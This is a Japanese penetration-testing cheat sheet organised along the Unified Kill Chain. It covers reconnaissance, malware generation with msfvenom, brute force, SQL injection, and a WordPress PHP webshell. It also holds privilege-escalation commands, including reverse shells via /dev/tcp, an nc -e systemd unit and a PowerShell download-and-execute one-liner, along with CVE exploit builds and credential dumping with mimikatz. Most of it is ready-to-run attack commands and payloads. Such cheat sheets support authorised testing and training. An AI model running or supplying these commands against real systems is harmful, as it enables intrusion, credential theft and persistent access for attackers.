ペネトレーションテストのフローについて
Unified kill chainの流れに従って実施します。このチートシートはその流れにできるだけ沿う形でセクションを設けています。
Reconnaissance(偵察)
ポートスキャン
確認する観点は以下の通り
- 空いているポートとサービス、プロトコル
- サービスのバージョン
- 匿名アクセスの可否
netcat
データを何も送らずにパケットだけ送信してポート開放状況を確認する。Nmapに比べて情報量は少ないが簡易にできるため便利である。
nc -zv <target> <target port>
- 全ポートをスキャンする
nc -zv <target IP> 1-65535
Nmap
- 公式サイトのマニュアル
- NSE (Nmap Script Engine)の保存場所
/usr/share/nmap/scripts/script.db
本番環境などではターゲットとなるマシンに対するICMP通信はFWで拒否されていることが多いため -Pn オプションでpingによるホスト確認をスキップするほうが良いでしょう
# シンプルなパターン
nmap -sn <target CIDR>
# 端末のポートスキャン(バージョン確認)
nmap -sV <target IP>
# Pingに応答しないホストへの全ポートに対する高速スキャン
nmap -Pn -A -p- -T4 <target IP>
# FTPへの匿名ログインチェック
nmap -p21 --script ftp-anon <target IP>
# vsftpdのバックドア確認
nmap -p21 --script ftp-vsftpd-backdoor <target IP>
# NSEスクリプトのオプションを活用したスキャン
sudo nmap --script http-vuln-cve2017-5638.nse <target IP> --script-args path=/struts2-showcase/showcase.action -p 80
- 各スクリプトのマニュアルやヘルプを確認し引数を確認する
-
--script-args
を用いて引数を指定する。なお複数引数を設定する場合は,
で区切る
オプション
引数 | 説明 |
---|---|
-sn | Ping応答によるホスト確認、ポートスキャンはスキップ |
-Pn | pingによるホスト確認のスキップ |
-sV | ポートのバージョン確認 |
-sS | TCP SYNスキャン |
-sU | UDPスキャン |
-n | 逆引きDNSをしない |
-F | 高速スキャン(nmap-servicesファイルに記載があるものを対象とする) |
-O | OS検出の有効化 |
-A | OS情報、ポートのバージョン情報も含めすべてスキャン |
-p | ポートの指定, 「-p-」で全ポート指定 |
-sC / --script | NSEスクリプトの利用 |
-T | タイミングの指定(T0〜T5) |
-iL | IPアドレスのリストを指定 |
-sC --script |
NSEスクリプトを指定、カテゴリ名かスクリプト名を指定する。 連結する場合は , で区切る |
-oA | 標準形式+grep検索可能形式+XMLの3種類をファイルに出力する |
-oG | grep検索可能形式でファイルに出力する |
-oN | 標準形式でファイルに出力する |
-D RND:5 | 送信元IPアドレスをランダムな5種類に設定する。デコイスキャン |
--disable-arp-ping | ARP pingを無効化する |
-g | 送信元ポート番号を指定する |
NSEの種類
カテゴリ | 意味 |
---|---|
auth | 認証資格情報の決定 |
broadcast | ブロードキャストによるホスト検出に使用されるスクリプトと検出されたホストは、残りのスキャンに自動的に追加できます |
brute | 資格情報を使用してブルートフォース攻撃を行い、それぞれのサービスにログインしようとするスクリプトを実行します |
default | -sCオプションを使用して実行されるデフォルトのスクリプト |
discovery | アクセシブルなサービスの評価 |
dos | これらのスクリプトは、サービスにサービス拒否の脆弱性がないかチェックするために使用され、サービスに害を及ぼすためあまり使用されません |
exploit | このカテゴリのスクリプトは、スキャンされたポートの既知の脆弱性を悪用しようとします |
external | さらに処理するために外部サービスを使用するスクリプト |
fuzzer | これはスクリプトを使用して、さまざまなフィールドを送信することで脆弱性と予期しないパケット処理を識別しますが、これにはかなりの時間がかかる場合があります |
intrusive | ターゲットシステムに悪影響を及ぼす可能性のある侵入スクリプト |
malware | ターゲットシステムにマルウェアが感染しているかどうかを確認します |
safe | 侵入的かつ破壊的なアクセスを実行しない防御スクリプト |
version | サービス検出の拡張機能 |
vuln | 特定の脆弱性の特定 |
Nmap Scripting Engine (NSE) | Nmap Network Scanning
Chapter 9. Nmap Scripting Engine | Nmap Network Scanning
タイミング
-T
オプションで指定するタイミングに関する詳細
引数 | 説明 |
---|---|
0 | paranoid/IDS回避用のタイミングテンプレート |
1 | sneaky/IDS回避用のタイミングテンプレート |
2 | polite/スキャン処理速度を落として帯域幅とマシンのリソース消費量を抑える |
3 | normal/指定しなかった場合のデフォルト値 |
4 | Aggressive/適度に高速で信頼性のネットワークがある想定でスキャン速度を向上させる |
5 | insane/非常に高速なネットワーク上にいるか、一部の精度を犠牲にしてスキャン速度を向上させる |
Rustscan
nmapと比べると速い。最新バージョンでは「-a」でIPアドレスやIPレンジを指定し、「--」以降でNmapで使うオプションを指定することにより同じことをすることができる。
# バージョン確認(インストール状況確認の意味も含む)
rustscan --version
# ポート1~1024までのスキャン
rustscan -a <target IP> --range 1-1024 -- -sV -A -n
# Pingに応答しないホストへの全ポートに対するスキャン
rustscan -a <target IP> -- -Pn -A -p-
全自動ツール
Web探索
調査する観点は以下の通り
- ディレクトリ構造
- 開発者用コンテンツや管理用ポータルなどの有無を確認する
- 非公開コンテンツの有無
-
robots.txt
- インデックス化を明示的に避けているコンテンツ
-
favicon.ico
- OWASP faviconDBと照合しフレームワークをチェック
-
sitemap.xml
- サイト構成の確認
-
- ウェブアプリケーションのバージョン
- ツールによるチェック
- ブラウザ経由での手動アクセスを通じたチェック
- HTMLソースにおける記載、コメント
- ウェブアプリケーションの特性
- 問い合わせを受け付けるシステムでは確認メールを送信することがあり、OSコマンドを経由したメール送信を行っている場合もある
gobuster
ファイル探索を行う場合は-x
で拡張子を指定する。おすすめの拡張子はphp, txt, html, db
である。また、-b
で無視する応答コードを指定することも可能である。
個人的な経験から以下のリストファイルがおすすめ
- /usr/share/wordlists/dirb/big.txt
- /usr/share/wordlists/dirb/common.txt
# ディレクトリ探索を行う場合
gobuster dir -u <URL> -w <ワードファイル> -t <スレッド数> -b <コンテンツなしと判断する応答コード(カンマ区切り)>
# ファイル探索を行う場合
gobuster dir -u <URL> -w <ワードファイル> -x <探索する拡張子> -t <スレッド数>
feroxbuster
go言語で実装されているツールで個人的におすすめ。デフォルトで再帰探索があり、進捗状況など状況把握がしやすい作りかつページのリンク探索およびそこからの調査も可能。
# ディレクトリ探索
feroxbuster -u <URL> -w <ワードファイル> -t <スレッド数>
# ファイル探索
feroxbuster -u <URL> -w <ワードファイル> -t <スレッド数> -x <extensions>
# ファイル探索 + ページ内ファイル探索
feroxbuster -u <URL> -w <ワードファイル> -E -t <スレッド数> -x <extensions>
# ファイル探索 + ページ内リンク探索
feroxbuster -u <URL> -w <ワードファイル> -e -t <スレッド数> -x <extensions>
# ステータスコード 301, 404の出力を抑止する
feroxbuster -u <URL> -w <ワードファイル> -t <スレッド数> --filter-status 301, 404
# ステータスコード 200のみ出力させる
feroxbuster -u <URL> -w <ワードファイル> -t <スレッド数> --status-codes 200
dirb
gobusterとは違いデフォルトで再帰的に探索される。
dirb <URL> <ワードファイル> -X <拡張子>
サブドメイン列挙
gobusterのvhost、dnsでも実施できるが、以下のツールでも列挙可能である。
ffuf
# -fc:レスポンスコード302を除外
# FUZZの部分にワードリストの単語がセットされ探索される
$ ffuf -w /usr/share/wordlists/wfuzz/general/common.txt -u <URL> -H "Host: FUZZ.URL" -fc 302
WordPress
WordPressは有名なのでサポートしているツールが数多く存在してる。
特化型ツールとしてWPScan
が存在しており、その他ではMetasploitのWordPressに関連したモジュールやcurlによる調査方法も存在する。
# ユーザーの列挙
wpscan --url <target URL> --enumerate u
# xmlrpcを用いたブルートフォース
wpscan --password-attack xmlrpc -t 40 -U <username> -P /usr/share/wordlists/rockyou.txt --url <url>
Hydraによるブルートフォースより簡単に実行できる。また、ログインフォームよりxmlrpcに対する試行のほうが速いためxmlrpcを選択したほうが良い
enumerateオプション詳細
フラグ | 意味 |
---|---|
vp | 脆弱なプラグインのリストアップ |
ap | すべてのプラグインのリストアップ |
cb | configバックアップの探索 |
u | ユーザーIDの探索 |
curlでの手動調査方法
# xmlrpc.phpを活用したRPCメソッドの取得
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>' http://<target url>/xmlrpc.php
POP3探索
クレデンシャルが判明している場合、メールサーバーへ侵入する。
telnet <IP> 110
USER <username>
PASS <password>
# メールリストの取得
LIST
# メールの詳細表示
retr <No>
# 切断
quit
SMB探索
以下のポートが開いている場合に実施する
- 対象ポート
- 139/tcp
- 445/tcp
- 調査観点
- 匿名ログインの有無
- デフォルト以外のネット共有の有無
基本情報の情報列挙
# nmapを利用する場合
nmap -p <Port Num> --script smb-enum-* <target IP>
# enum4linux-ngを利用する場合
enum4linux -a <IP>
enum4linux-ng.py <IP>
脆弱性有無確認
nmap -p <Port Num> --script smb-vuln-* <target>
共有フォルダのリストアップ
crackmapexecはアクセス権限情報まで表示してくれるため便利
# ディレクトリレベルでの情報列挙
crackmapexec smb <IP> -u <username> -p "" --shares
# 再帰的にファイル情報まで列挙(出力は/tmpディレクトリ配下でJSON形式)
crackmapexec smb <IP> -u <username> -p "" --shares -M spider_plus
smbmap -u <username> -H <target IP>
smbclient -L <target IP>
SIDユーザーの列挙
# ユーザー名は適当でOK、パスワードは不明なため -no-passオプションをつけること
python3 /<your install path>/impacket/examples/lookupsid.py <username>@<IP> -no-pass
ログインおよびファイル列挙
# 該当ユーザーのパスワードが分かっている場合
smbclient //<target IP>/Path -U <username>
## パスワードが分からない場合(匿名ログイン試行)
smbclient //<target IP>/path -U <username> --no-pass
# ファイルダウンロード
get <filename>
NFS探索
以下のポートが開いている場合に実施する
- 対象ポート
- 111/tcp (Portmapper)
- 調査観点
- 匿名ログインの有無
- デフォルト以外のネット共有の有無
列挙
- nmapによる実施
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount <target IP>
- 専用コマンドによる実施
showmount -e <target IP>
- マウント
# どちらか mount <target IP>/<Direcotry> /<mount point> sudo mount -t nfs <target IP>:/<Directory> /<mount point> -nolock
kerberos探索
88/tcpが空いている場合、ユーザー名やパスワード、ブルートフォース可否の列挙が可能
#kerbruteを用いる場合
./kerbrute_linux_amd64 userenum --dc <DC IP> -d <Dmain Name> <username list>
# impacketを用いてユーザーのハッシュを取得
## ユーザー指定の場合
python3 /<your install path>/impacket/examples/GetNPUsers.py -dc-ip <IP> <Domain Name>/<username>
## ユーザー一覧ファイルを指定する場合
## !! ドメイン名はあらかじめ/etc/hostsでマッピングしておくこと
python3 /<your install path>/impacket/examples/GetNPUsers.py <Domain name>/ -no-pass -usersfile <user file>
# impacketを用いて各ユーザーの資格情報を取得
python3 /<your install path>/impacket/examples/secretsdump.py <domain>/<username>:<password>@<IP>
# evil-winrmを用いて侵入可能性をチェック
evil-winrm -i <target IP> -u <username> -p <password>
evil-winrm -i <target IP> -u <username> -H <NTLM hash>
# psexecを用いて侵入可能性をチェック
python3 /<your install path>/impacket/examples/psexec.py <domain>/<username>@<IP> -hashes <LM:NTLM>
# wmiexecを用いて侵入可能性をチェック
python3 /<your install path>/impacket/examples/wmiexec.py <domain>/<username>@<IP> -hashes <LM:NTLM>
DNS探索
ゾーン転送
- digコマンドでの転送確認
dig axfr <domain> @<DNS server>
- nslookupでの転送確認
nslookup server <権威サーバー> ls -d <対象ドメイン>
SMTP探索
SMTP通信を活用して存在するユーザー一覧を取得する
msf> use auxiliary/scanner/smtp/smtp_enum
msf auxiliary(scanner/smtp/smtp_enum) > set USER_FILE /usr/share/seclists/Usernames/top-usernames-shortlist.txt
msf auxiliary(scanner/smtp/smtp_enum) > set RHOSTS <target IP>
msf auxiliary(scanner/smtp/smtp_enum) > exploit
[*] 10.10.30.44:25 - 10.10.30.44:25 Banner: 220 polosmtp.home ESMTP Postfix (Ubuntu)
[+] 10.10.30.44:25 - 10.10.30.44:25 Users found: administrator
SQL探索
msf > use auxiliary/admin/mysql/mysql_sql
Weaponization
ネット上よりPoCコードを収集してカスタマイズするか自身でマルウェア開発を行う。
PoCコードの収集
- Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers
- nomi-sec/PoC-in-GitHub: 📡 PoC auto collect from GitHub. ⚠️ Be careful Malware.
マルウェア開発
msfvenom
Metasploit Frameworkの一つであるmsfvenomを用いてマルウェア開発を行う。
# 基本的な使い方
msfvenom -p <payload> -f <format> -o <path/filename> LHOST=<listen-IP> LPORT=<listen-port>
# リバースシェル接続を行うマルウェアの作成
msfvenom --payload windows/x64/shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker Port> -f <format> -o <save file path>
オプション説明
引数 | 説明 |
---|---|
-p | ペイロードの指定 |
-f | フォーマット(ファイルタイプ)の指定 |
-e | エンコーディングの指定 |
-o | アウトプット先およびファイル名の指定 |
ペイロードには種類があり、モジュール名にも分類がある。
種類 | モジュール命名規則 | 説明 |
---|---|---|
ステージャー | shell/〜〜〜 | ファイルを実行し段階を経て目的を実行する。メモリへのペイロード挿入をAMSIで検知されやすい |
ステージレスペイロード | shell_ | 実行後即座にペイロードを実行。使いやすいが検知されやすい |
Windows系ペイロードのTips
種類 | 意味 |
---|---|
winnet | ログインユーザー権限で動くアプリ向けモジュール |
winhttp | サービス等バックグラウンド動作での利用向けモジュール |
Exploitation
ブルートフォース
FTPの認証やSSH、HTTPの認証フォームなど各種認証系に対するブルートフォースを行うための手段としてHydraを用いる。
SSH
hydra -l <ユーザー名> -P <パスワードリスト> ssh://<target> -t 6
SMB
hydra -l <ユーザー名> -P <パスワードリスト> <IP> smb
HTTP
Basic認証
hydra -l <ユーザー名> -P <パスワードリスト> <IP> http-get <path>
認証フォーム
POST時のボディ部を参考にhttp-post-formの引数の中身を作成する。特にユーザー名、パスワードおよび失敗時の文章は入念に確認すること。
hydra -l <ユーザー名> -P <パスワードリスト> <target> http-post-form "<ログインフォームパス>:<フォームID名>=^USER^&<フォームPW名>=^PASS^:<失敗時の文言>"
# 実行例
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.1.159 http-post-form "/admin/index.php:user=^USER^&pass=^PASS^:Username or password invalid"
# 実行例@WordPress login
hydra -t 45 -V -l admin -P /usr/share/wordlists/rockyou.txt "http-post-form://10.10.211.179/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.211.179%2Fwp-admin%2F&testcookie=1:incorrect."
オプション説明
引数 | 説明 |
---|---|
-l | ユーザー名の指定 |
-P | パスワードリストの指定 |
-t | スレッド数 |
-s | ポート番号の指定 |
http-post-form | httpフォームのPOSTに対する攻撃 |
htt-get | Basic認証に対する攻撃 |
SQL
ログイン
- 手作業による実行
mysql -h <IP> -u <username> -p
- Metasploitによる実行
# データベースのダンプ use auxiliary/scanner/mysql/mysql_schemadump # ハッシュのダンプ use auxiliary/scanner/mysql/mysql_hashdump
SQLインジェクション
手作業
以下の各種サイトを参照すること
- SQL Injection | HackTricks
- SQL Injection Cheat Sheet
- SQL injection cheat sheet | Web Security Academy
- SQL Injection | pentestmonkey
SQLmap
BurpSuiteと組み合わせ、POSTした際のヘッダー、ボディをエクスポートしたデータを流用しインジェクションを行う
# DMBSのユーザー名確認
## POST時のデータを外部データから参照する場合
sqlmap -r <HTTPリクエストデータファイル> -p <フィールド名> --current-user
## コマンドオプションで指定する場合
sqlmap -u "http://example.com/login.php" --data "username=admin"
# 接続しているDB名の表示
sqlmap -r post_request.txt -p blood_group --current-db
# データベースの一覧表示
sqlmap -r post_request.txt -p blood_group --dbs
# 指定したデータベースに含まれるテーブル一覧の表示
sqlmap -r post_request.txt -p blood_group -D blood --tables
# 指定したテーブルのカラム一覧の表示
sqlmap -r post_request.txt -p blood_group -D blood -T flag --columns
# 指定したデータベースを出力する
sqlmap -r post_request.txt -p blood_group -D blood -T flag --dump
オプション説明
引数 | 説明 |
---|---|
-r | サンプルリクエストの指定 |
--data | POST時のbody部データを指定 |
-p | テストフィールドの名前を指定 |
--current-user | DB接続のユーザー表示 |
--current-db | 現在のDB名表示 |
--dbs | データベース一覧の表示 |
-D | データベースの指定 |
-T | テーブルの指定 |
--tables | テーブル一覧の表示 |
--columns | カラム一覧の表示 |
--dump | データの出力 |
汎用
SearchSploit
Exploitコードを探索する。
- キーワードによるExploitコードの探索
searchsploit blogengine
locate <exploit file name>
Metasploit
Metasploitを用いたExploitを行う。
# CVE番号でのモジュール検索
search cve:<xxxx-xxxxx>
# exploitのキーワード検索
search type:exploit <keyword>
# モジュールの利用
use <module name>
# モジュールのオプション(パラメーター)確認、パラメーターセット
show options
# オプションの設定
set <option name> <value>
# ペイロードの詳細確認
show payloads
# ペイロードの指定
use <ペイロードモジュール名>
# Exploitの実行
## どちらか
run
run -z
# セッションのバックグラウンド化
## どちらか
background
Ctrl+Z
persistence
リバースシェルのパラメーター作成は以下を参照すること。
リスナーの準備
rlwrap は指定されたコマンドを実行し、readlineの行編集、永続的な履歴、および補完を 提供するためにユーザー入力をインターセプトします。
# リッスン開始
rlwrap nc -lvnp <port>
# オートコンプリート、矢印等を利用できるように
$ ^Z(Ctrl + Zでバックグラウンドへ移動させる)
$ stty raw -echo; fg
WordPress
WebShell
- テーマ設定画面を開く
Appearance > Theme Editor > 404 Template
- リバースシェルコンテンツを設定する
<pre><?php system($_POST["cmd"]);?></pre> <form method="POST"><input autofocus type="text" name="cmd"></form>
-
/wp-content/themes/twentytwentyone/404.php
へアクセスする
Metasploitを用いたリバースシェル接続
msf6 > search wp_admin
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 > set RHOSTS <target IP>
msf6 > set USERNAME <username>
msf6 > set password <password>
msf6 > set LHOST <local IP>
msf6 > run
Windows
ファイルダウンロード
# コマンドプロンプト
curl http://<IP>:<Port>/<file> -o <path to save>
# Powershell
Invoke-WebRequest -uri http://<IP>:<Port>/<file> -outfile <path to save>
msfvenomで作ったマルウェアの実行
# コマンドプロンプトで外部ファイルをダウンロード
powershell -c "Invoke-WebRequest -Uri '<URL>' -OutFile 'C:\Windows\Temp\evil.exe'"
# 他のターミナルで
msf> use exploit/multi/handler
# ダウンロード+実行
powershell iex (New-Object Net.WebClient).DownloadString('http://<your IP>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress <your IP> -Port <your Port>
Metasploitの持続化モジュール利用
msf6 exploit(multi/handler) > use exploit/windows/local/persistence
msf6 exploit(windows/local/persistence) > set LHOST <attacker IP>
msf6 exploit(windows/local/persistence) > set session 1
msf6 exploit(windows/local/persistence) > exploit
アカウントの作成およびグループ追加
# アカウントの追加
net user <username> <password> /add
# ローカル管理者グループに追加
net localgroup administrators <username> /add
タスクスケジューラの悪用
-
C:\Users
配下のタスクスケジュールに注目する - 特権権限で動作するタスクスケジュールに注目する
sctasks /query /fo LIST /v
Discovery
共通
ファイル探索
# Linuxでのファイル探索
find / -name "username" -or -name "password" 2>/dev/null
find / -name *secret* 2>/dev/null
# Windowsでのファイル探索
dir /s *secret.txt
環境設定ファイルであるunattend.xml
も探索するとよい
zipファイルのパスワード解析
# 1. パスワード付きzipファイルからハッシュファイルを作成する
zip2john <target zip path> > <export hash file path>
# 2. ローカルパスワードクラック
john --wordlist=<word list path> <hash file path>
# 3. パスワードを用いたzip解凍
unzip -P <password> <target zip path>
隣接ホストの探索
# Bash
for i in {1..254}; do (ping -c 1 192.168.11.$i | grep "bytes from"); done
# cmd
# -wオプションはタイムアウト値(ミリ秒)を指定する
for /l %i in (1,1,254) do @ping -n 1 -w 100 192.168.22.%i | find "TTL="
自動チェックツールの活用
- Linux(LinPEAS)
-
LinPEAS - Linux Privilege Escalation Awesome Script
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
-
LinPEAS - Linux Privilege Escalation Awesome Script
- Windows(WinPEAS)
- Windows Privilege Escalation Awesome Scripts
- Windows(PowerView)
-
powerview3.0
# Powershellの実行ポリシーをバイパスして起動する PS > powershell -ep bypass # PowerViewのロード PS > . .\PowerView.ps1 # ユーザー列挙 PS > Get-NetUser | select cn # 共有フォルダーの列挙 PS > Invoke-ShareFinder # ネットワークのコンピューター列挙 PS > Get-NetComputer -fulldata | select operatingsystem
-
powerview3.0
- Windows(PowerUp)
- PowerUp
- 端末上で実行し、「CanReset:True」のものを探す。Trueである場合はシステム権限を有していることと同義である。
- フォルダ名がスペースで区切られている場合は区切られる前の文字列のexeファイルを参照し、存在すれば実行するため「<前半部分>.exe」のリバースシェルプログラムを実行させる。
Meterpriter> upload /<your saved directory>/PowerUp.ps1 Meterpriter> load powershell Meterpriter> powershell_shell PS > . .\PowerUp.ps1 PS > Invoke-AllChecks # サービスを探す PS > powershell -c "GetService"
Linux
- 参考サイト:GTFOBins
- peassを用いた権限昇格
# インストール apt install peass cd /usr/share/peass # ターゲットへ配送 scp ~~~~ /usr/share/peass/linpeas
Windows
# ユーザー情報やグループ情報、特権情報を表示
whoami /all
# ローカルユーザーアカウントの一覧取得
net user
wmic USERACCOUNT Get Domain,Name,Sid
# システム情報の取得
systeminfo
wmic computersystem LIST full
# ファイル探索
## 現在のディレクトリの配下を再帰的に探索
dir /s *secret*
wmic DATAFILE where "drive='C:' AND Name like '%secret%'" GET Name,readable,size /VALUE
# 実行中のプロセス確認
tasklist /SVC
# 共有フォルダの列挙
net share
powershell -c "Get-WmiObject -classWin32_Share"
# マウント状況の確認
mountvol
# ネットワークドライブのマウント状況確認
## その後pushdを使う
net view
Privilege Escalation
以下のサイトを参考に実施する。
Linux
sudoの悪用
sudoで利用できるコマンド確認する。利用できるコマンドや引数を確認し、GTFOBinsにて悪用方法を調査する。
sudo -l
脆弱性の悪用
CVE-2021-3156を利用する。
- 対象
- sudo バージョン 1.8.2 から 1.8.31p2
- sudo バージョン 1.9.0 から 1.9.5p1
# 状況確認
$ sudo -V
Sudo バージョン 1.8.21p2
sudoers ポリシープラグイン バージョン 1.8.21p2
sudoers ファイル文法バージョン 46
Sudoers I/O plugin version 1.8.21p2
# コード配送
$ wget http://<URL:Port>/exploit.c
$ wget http://<URL:Port>/shellcode.c
$ wget http://<URL:Port>/Makefile
# ビルドおよび実行
$ make
$ ./exploit
参考情報
- 参考記事
SUIDの悪用
SUID(Set User ID)は、ファイルに設定されたユーザの権限でファイルを認証なしで実行することができる機能。
ファイルのオーナーに関する実行権限の部分がx
ではなくs
になっている。
sudoコマンドによる実行ではなく、単純にそのコマンド自体を実行している時はrootユーザー権限で実行されるという意味です。
たとえば、/bin/cpが結果として表示された場合、root権限のみ書き込み/読み込みが許可されていないファイルに対して、ファイル自体を上書きできてしまいます。
探索方法
# 単純なパターン(どちらかを実行)
find / -perm -4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
# 詳細まで表示するパターン
find / -type f -perm -4000 -ls 2>/dev/null
(サンプル)findコマンドを用いたリバースシェル接続
# -execの後ろはreverseshell generatorなどで生成する
/tmp/find . -exec /bin/bash -p -i >& /dev/tcp/<attacker IP>/<attacker Port> 0>&1 \;
サンプル
systemctlコマンドにSUIDが付されている場合の権限昇格方法
権限昇格用のユニットファイル作成
echo '[Service]
Type=oneshot
ExecStart=/tmp/nc 192.168.11.210 9000 -e /bin/bash
[Install]
WantedBy=multi-user.target' > /tmp/nc.service
実行およびリバースシェル接続
/tmp/systemctl enable --now /tmp/nc.service
NFS経由
no_squashが無効化されている場合はrootユーザーで書き込み等が可能であるため悪用する
# 権限昇格用のELFをコピーする
cp ./bash /<mountpoint>
# 実行権限とSUID、所有者の設定
chmod +x /<mountpoint>/bash
chmod +s /<mountpoint>/bash
chown root /<mountpoint>/bash
# 内部ユーザーで実行して権限昇格
./bash
参考情報
設定するためにはroot権限で以下の操作を実行する。
# パターン1
chmod u+s <ファイル名>
# パターン2
chmod 4xxx <ファイル名>
設定を解除するためには以下の操作を実行する。
chmod u-s <ファイル名>
cronの悪用
cronの自動実行される上位権限で動作するスクリプトファイルを探索する。
そのスクリプトファイルが任意のユーザー権限で書き込み可能であればリバースシェルなどの任意のコマンドを追記し、実行させることにより権限昇格が可能となる。
# cronサービスの動作状況を確認
systemctl status cron
# cronの設定状況の確認
## 現在のユーザーに関する設定
crontab -l
## システム全体に関する設定
cat /etc/crontab
cat /etc/anacrontab
### 各種ディレクトリ
ls -l /etc/cron.d/*
ls -l /etc/cron.daily/*
ls -l /etc/cron.hourly/*
ls -l /etc/cron.monthly/*
ls -l /etc/cron.weekly/*
Polkitの悪用
Polkitとは、Linuxディストリビューションにデフォルトでインストールされているツールキットであり、特権プロセスを実行する際にあらかじめ設定されたポリシーに基づき認証等を提供する。
# Polkitのバージョンチェック
dpkg -l policykit-1
pkexec --version
# SUID設定状況の確認
ls -l $(which pkexec)
# PoCコードの入手およびソースファイルの配送
https://github.com/arthepsy/CVE-2021-4034
# ターゲット端末内でのビルドおよび実行
gcc -o cve-2021-4034 cve-2021-4034.c
PATHの悪用
root権限で実行できるプログラムがフルパス指定ではないコマンドを用いたものである場合、実行者のパスを用いてコマンドを探す。
これを悪用し、自身のパスを変更してシェルを起動させる。
mkdir /home/<username>/bin
echo "/bin/sh" > /home/<username>/bin/<command>
chmod 777 /home/<username>/bin/<command>
export PATH=/home/<username>/bin:$PATH
capabilityの悪用
探索方法
getcap -r / 2>/dev/null
Windows
サービスの不正な変数の悪用
サービスはDACLによるアクセス制御が可能であるため、だれでも編集権限を持つサービスがある場合は悪用することが可能。
# 脆弱なサービスの発見方法
## Sysinternalsに同梱されているaccesschk.exeを利用する
accesschk.exe "<Everyone or Username>" -cvuqw * -accepteula
# サービスの詳細確認
sc qc <service name>
# サービスの登録
sc create <service name> binpath= "<program bin path>"
# サービスの編集
sc config <service name> binpath="<program bin path>"
サービスの再起動
# PowerShellの場合
PS > sc.exe stop <Service Name>
PS > sc.exestart <Service Name>
# cmdの場合
sc stop <Service Name>
sc start <Service Name>
引用符のないサービスパスの悪用(Unquoted Service Path)
探索および悪用
# サービス探索
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
# フォルダパスの権限確認
icacls <path>
# アクセス権限の付与
icacls <file path> /grant <ユーザー名>:f
仕組み
-
C:\test\new folder\my app.exe
の参照順序-
C:\test\new.exe
- 引数として次が認識される:
folder\my app.exe
- 引数として次が認識される:
-
C:\test\new folder\my.exe
- 引数として次が認識される:
app.exe
- 引数として次が認識される:
-
C:\test\new folder\my app.exe
- 引数認識はない
-
- 対策(ダブルクォーテーションを付与したパスの登録)
binpath= "\"C:\Program Files\hoge\hoge.exe\""
参考
空白を含むパスにおいて、ダブルクォーテーションで囲われていない場合は参照順序に基づき悪用できる可能性がある。
引用符の無いサービスパス(Unquoted Service Path)では、パスの検索順序に「サービスパスを空白文字で分割し、先頭からプログラムを検索する」という仕様がある。
正確にはWinAPIのCreateProcessの仕様であるため、当該関数を利用する場合は本仕様が適用される。
Credential Access
Linux
ヒストリー
# コマンド
history
# ファイル
cat ~/.bash_history
クレデンシャルファイル
sudo unshadow ./passwd ./shadow > hash.txt
john --format=crypt hash.txt
また、minipenguin
を用いることにより、/proc
配下に保存されているプロセスに関する情報のうち、クリアテキストで保存されているクレデンシャル情報を取得することができる。
Windows
構成ファイルの確認
Windows展開サービスを利用した無人インストール時にはプレーンテキストでパスワードが保存されている可能性がある。
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
以下が内容例である
<Credentials>
<Username>Administrator</Username>
<Domain>thm.local</Domain>
<Password>MyPassword123</Password>
</Credentials>
Powershellのヒストリー
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
クレデンシャルファイル
# ファイルの探索
dir /s *secret.txt
# zipファイルのパスワード解析
## 1パスワード付きzipファイルからハッシュファイルを作成する
zip2john <target zip path> > <export hash file path>
## 2. ローカルパスワードクラック
john --wordlist=<word list path> <hash file path>
## 3. パスワードを用いたzip解凍
unzip -P <password> <target zip path>
資格情報
cmdkey /list
runas /savecred /user:<UserName> cmd.exe
保存されたSSHのセッション情報
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
登録されたタスク
schtasks
schtasks /query /tn <task name> /fo list /v
資格情報のダンプ
- UIDが500番台は管理者権限を有している
ユーザー名:UID:ハッシュ(LM:NTLM)
LSAダンプ
-
mimikatz.exe
を用いてLSAダンプを実施する - LSAは整合性レベル
High
であるため管理者権限が必要となる。またSeDebugPrivilege
権限も必要となる。
# デバッグ特権(SeDebugPrivilege)の確認と取得
mimikatz # privilege::debug
Privilege '20' OK
# LSAダンプの実行
sekurlsa::logonpasswords
NTLMハッシュのダンプ
mimikatz # lsadump::lsa /patch
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166
RID : 000001f4 (500)
User : Administrator
LM :
NTLM : 2777b7fec870e04dda00cd7260f7bee6
RID : 000001f5 (501)
User : Guest
LM :
NTLM :
RID : 000001f6 (502)
User : krbtgt
LM :
NTLM : 5508500012cc005cf7082a9a89ebdfdf
ゴールデンチケットの作成
# TGSアカウントのハッシュとセキュリティ識別子の把握
# User名がkrbtgtであることを確認し、セキュリティ識別子とPrimary NTLM値をコピーする
mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166
RID : 000001f6 (502)
User : krbtgt
* Primary
NTLM : 5508500012cc005cf7082a9a89ebdfdf
LM :
Hash NTLM: 5508500012cc005cf7082a9a89ebdfdf
ntlm- 0: 5508500012cc005cf7082a9a89ebdfdf
lm - 0: 372f405db05d3cafd27f8e6a4a097b2c
* WDigest
01 49a8de3b6c7ae1ddf36aa868e68cd9ea
02 7902703149b131c57e5253fd9ea710d0
03 71288a6388fb28088a434d3705cc6f2a
04 49a8de3b6c7ae1ddf36aa868e68cd9ea
05 7902703149b131c57e5253fd9ea710d0
06 df5ad3cc1ff643663d85dabc81432a81
07 49a8de3b6c7ae1ddf36aa868e68cd9ea
08 a489809bd0f8e525f450fac01ea2054b
09 19e54fd00868c3b0b35b5e0926934c99
10 4462ea84c5537142029ea1b354cd25fa
11 6773fcbf03fd29e51720f2c5087cb81c
12 19e54fd00868c3b0b35b5e0926934c99
